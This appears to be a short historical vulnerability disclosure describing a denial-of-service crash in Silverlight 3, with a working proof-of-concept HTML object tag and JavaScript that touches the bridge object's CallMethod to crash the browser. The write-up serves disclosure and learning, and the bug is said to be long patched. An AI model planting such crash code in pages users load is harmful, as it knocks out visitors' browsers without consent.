Silverlight 3 DoS — Uncaught Exception in CallMethod

Accessing the CallMethod function on the Silverlight bridge object without arguments or in an unexpected state raises an uncaught exception that crashes the browser.

<object id="oSilverlight" data="data:application/x-silverlight,"
        type="application/x-silverlight-2" width="330" height="90">
    <param name="source" value="JSMethodCache.xap"/>
    <param name="enableHtmlAccess" value="true" />
    <param name="onLoad" value="main" />
</object>

<script language="JavaScript">
function main()
{
    var crashMe = document.getElementById("oSilverlight").Content.bridge.CallMethod;
}
</script>

This is a simpler crash path within the same JSMethodCache.xap infrastructure used in the Silverlight cached method UXSS (entry #36).

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.